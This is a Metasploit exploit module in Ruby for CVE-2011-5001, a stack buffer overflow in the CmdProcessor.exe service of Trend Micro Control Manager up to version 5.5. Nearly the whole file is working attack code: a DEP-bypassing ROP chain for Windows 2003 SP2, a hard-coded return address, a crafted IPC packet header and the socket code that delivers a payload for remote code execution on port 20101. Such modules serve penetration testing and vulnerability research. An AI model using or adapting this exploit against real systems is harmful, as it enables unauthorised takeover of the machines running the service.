require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",
'Description'=> %q{
This module exploits a vulnerability in the CmdProcessor.exe component of Trend
Micro Control Manger up to version 5.5.
The specific flaw exists within CmdProcessor.exe service running on TCP port
20101. The vulnerable function is the CGenericScheduler::AddTask function of
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
controlled data is copied into a 256-byte stack buffer. This can be exploited
to execute remote code under the context of the user.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma',
'Blue',
],
'References' =>
[
['CVE', '2011-5001'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-345/']
],
'Payload'=>
{
'BadChars' => "\x00",
},
'DefaultOptions'=>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Targets'=>
[
[
'Windows 2003 Server SP2 (DEP Bypass)',
{
'Ret'=> 0x666b34c8,
'Offset' => 5000
}
],
],
'Privileged' => false,
'DisclosureDate' => "Dec 07 2011",
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(20101)
], self.class)
end
def junk
return rand_text(4).unpack("L")[0].to_i
end
def exploit
rop_chain = [
0x668074d4,
0x3FCD0FFC,
0x667611b2,
0x667c99e7,
junk,
0x667c99e7,
0x667e3250,
0xffffffff,
0x6683ab64,
0x6683ab64,
0x6680a1d3,
0xffffffc0,
0x66812b53,
0x667f030a,
0x667d4c7c,
0x667e8003,
0x667d54d0,
0x667baf06,
0x66833376,
0x6686115c,
0x6681ceb3,
0x668382c3,
].pack('V*')
header= "\x00\x00"
header << "\x13\x88"
header << rand_text_alpha(9)
header << "\x15\x09\x13"
header << "\x00\x00\x00"
header << rand_text_alpha(25)
header << "\xFE\xFF\xFF\xFF"
header << "\xFF\xFF\xFF\xFF"
header << "\xFF\xFF\xF4\xFF"
header << "\xFF\xFF"
header << rand_text_alpha(1)
pay = rop_chain
pay << make_nops(374 - rop_chain.length)
pay << "\xeb\x04"
pay << [target.ret].pack('V')
pay << payload.encoded
sploit = header
sploit << pay
filler = rand_text_alpha(target['Offset'] - (sploit.length))
connect
print_status("Sending request...")
sock.put(sploit + filler)
handler
disconnect
end
end